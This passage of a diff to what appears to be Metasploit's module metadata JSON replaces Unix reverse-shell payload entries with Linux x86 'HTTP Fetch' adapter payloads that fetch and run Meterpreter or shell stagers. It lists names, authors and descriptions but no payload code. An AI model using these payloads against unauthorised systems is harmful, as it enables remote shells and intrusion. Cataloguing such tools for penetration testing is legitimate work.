"cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, - "payload_cmd/unix/python/meterpreter_reverse_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter_reverse_http": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_http", "aliases": [ ], @@ -177692,33 +179385,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false }, - "payload_cmd/unix/python/pingback_bind_tcp": { - "name": "Python Exec, Python Pingback, Bind TCP (via python)", - "fullname": "payload/cmd/unix/python/pingback_bind_tcp", + "payload_cmd/linux/http/x86/meterpreter_reverse_https": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_https", "aliases": [ ], @@ -177726,34 +179427,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "asoto-r7" + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/pingback_bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false }, - "payload_cmd/unix/python/pingback_reverse_tcp": { - "name": "Python Exec, Python Pingback, Reverse TCP (via python)", - "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp", "aliases": [ ], @@ -177761,34 +179469,41 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "asoto-r7" + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "description": "Fetch and execute a x86 payload from an HTTP server.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/pingback_reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false }, - "payload_cmd/unix/python/shell_bind_tcp": { - "name": "Python Exec, Command Shell, Bind TCP (via python)", - "fullname": "payload/cmd/unix/python/shell_bind_tcp", + "payload_cmd/linux/http/x86/metsvc_bind_tcp": { + "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/linux/http/x86/metsvc_bind_tcp", "aliases": [ ], @@ -177796,34 +179511,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "mumbai" + "hdm " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_bind_tcp", + "ref_name": "cmd/linux/http/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false }, - "payload_cmd/unix/python/shell_reverse_sctp": { - "name": "Python Exec, Command Shell, Reverse SCTP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_sctp", + "payload_cmd/linux/http/x86/metsvc_reverse_tcp": { + "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x86/metsvc_reverse_tcp", "aliases": [ ], @@ -177831,34 +179551,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "RageLtMan " + "hdm " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_sctp", + "ref_name": "cmd/linux/http/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false }, - "payload_cmd/unix/python/shell_reverse_tcp": { - "name": "Python Exec, Command Shell, Reverse TCP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_tcp", + "payload_cmd/linux/http/x86/read_file": { + "name": "HTTP Fetch, Linux Read File", + "fullname": "payload/cmd/linux/http/x86/read_file", "aliases": [ ], @@ -177866,34 +179591,39 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "Ben Campbell " + "hal" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_tcp", + "ref_name": "cmd/linux/http/x86/read_file", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false }, - "payload_cmd/unix/python/shell_reverse_tcp_ssl": { - "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", + "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp", "aliases": [ ], @@ -177901,34 +179631,43 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "RageLtMan " + "skape ", + "kris katterjohn ", + "egypt " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl", + "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, - "payload_cmd/unix/python/shell_reverse_udp": { - "name": "Python Exec, Command Shell, Reverse UDP (via python)", - "fullname": "payload/cmd/unix/python/shell_reverse_udp", + "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -177936,34 +179675,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "RageLtMan " + "skape ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/shell_reverse_udp", + "ref_name": "cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, - "payload_cmd/unix/reverse": { - "name": "Unix Command Shell, Double Reverse TCP (telnet)", - "fullname": "payload/cmd/unix/reverse", + "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/bind_nonx_tcp", "aliases": [ ], @@ -177971,33 +179720,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "skape " ], - "description": "Creates an interactive shell through two inbound connections", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse", + "ref_name": "cmd/linux/http/x86/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, - "payload_cmd/unix/reverse_awk": { - "name": "Unix Command Shell, Reverse TCP (via AWK)", - "fullname": "payload/cmd/unix/reverse_awk", + "payload_cmd/linux/http/x86/shell/bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp", "aliases": [ ], @@ -178005,35 +179762,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "espreto ", - "Ulisses Castro ", - "Gabriel Quadros " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt " ], - "description": "Creates an interactive shell via GNU AWK", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_awk", + "ref_name": "cmd/linux/http/x86/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, - "payload_cmd/unix/reverse_bash": { - "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", - "fullname": "payload/cmd/unix/reverse_bash", + "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp_uuid", "aliases": [ ], @@ -178041,33 +179805,43 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash", + "ref_name": "cmd/linux/http/x86/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, - "payload_cmd/unix/reverse_bash_telnet_ssl": { - "name": "Unix Command Shell, Reverse TCP SSL (telnet)", - "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", + "payload_cmd/linux/http/x86/shell/find_tag": { + "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager", + "fullname": "payload/cmd/linux/http/x86/shell/find_tag", "aliases": [ ], @@ -178075,33 +179849,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "Spencer McIntyre", + "skape " ], - "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nUse an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash_telnet_ssl", + "ref_name": "cmd/linux/http/x86/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, - "payload_cmd/unix/reverse_bash_udp": { - "name": "Unix Command Shell, Reverse UDP (/dev/udp)", - "fullname": "payload/cmd/unix/reverse_bash_udp", + "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_ipv6_tcp", "aliases": [ ], @@ -178109,34 +179891,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm ", - "bcoles " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "kris katterjohn " ], - "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_bash_udp", + "ref_name": "cmd/linux/http/x86/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, - "payload_cmd/unix/reverse_jjs": { - "name": "Unix Command Shell, Reverse TCP (via jjs)", - "fullname": "payload/cmd/unix/reverse_jjs", + "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_nonx_tcp", "aliases": [ ], @@ -178144,36 +179934,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "Brendan Watters", + "Spencer McIntyre", + "skape " ], - "description": "Connect back and create a command shell via jjs", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_jjs", + "ref_name": "cmd/linux/http/x86/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, - "payload_cmd/unix/reverse_ksh": { - "name": "Unix Command Shell, Reverse TCP (via Ksh)", - "fullname": "payload/cmd/unix/reverse_ksh", + "payload_cmd/linux/http/x86/shell/reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp", "aliases": [ ], @@ -178181,33 +179976,43 @@ "disclosure_date": null, "type": "payload", "author": [ - "Wang Yihang " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "tkmru" ], - "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ksh", + "ref_name": "cmd/linux/http/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, - "payload_cmd/unix/reverse_lua": { - "name": "Unix Command Shell, Reverse TCP (via Lua)", - "fullname": "payload/cmd/unix/reverse_lua", + "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp_uuid", "aliases": [ ], @@ -178215,33 +180020,43 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Creates an interactive shell via Lua", + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_lua", + "ref_name": "cmd/linux/http/x86/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, - "payload_cmd/unix/reverse_ncat_ssl": { - "name": "Unix Command Shell, Reverse TCP (via ncat)", - "fullname": "payload/cmd/unix/reverse_ncat_ssl", + "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell_bind_ipv6_tcp", "aliases": [ ], @@ -178249,33 +180064,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "C_Sto" + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " ], - "description": "Creates an interactive shell via ncat, utilizing ssl mode", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection over IPv6 and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_ncat_ssl", + "ref_name": "cmd/linux/http/x86/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false }, - "payload_cmd/unix/reverse_netcat": { - "name": "Unix Command Shell, Reverse TCP (via netcat)", - "fullname": "payload/cmd/unix/reverse_netcat", + "payload_cmd/linux/http/x86/shell_bind_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp", "aliases": [ ], @@ -178283,35 +180104,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "m-1-k-3", - "egypt ", - "juan vazquez " + "Brendan Watters", + "Spencer McIntyre", + "Ramon de C Valle " ], - "description": "Creates an interactive shell via netcat", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_netcat", + "ref_name": "cmd/linux/http/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false }, - "payload_cmd/unix/reverse_netcat_gaping": { - "name": "Unix Command Shell, Reverse TCP (via netcat -e)", - "fullname": "payload/cmd/unix/reverse_netcat_gaping", + "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp_random_port", "aliases": [ ], @@ -178319,33 +180144,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "Geyslan G. Bem ", + "Aleh Boitsau " ], - "description": "Creates an interactive shell via netcat", + "description": "Fetch and execute a x86 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ - + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", + "EDB-41631" ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/reverse_netcat_gaping", + "ref_name": 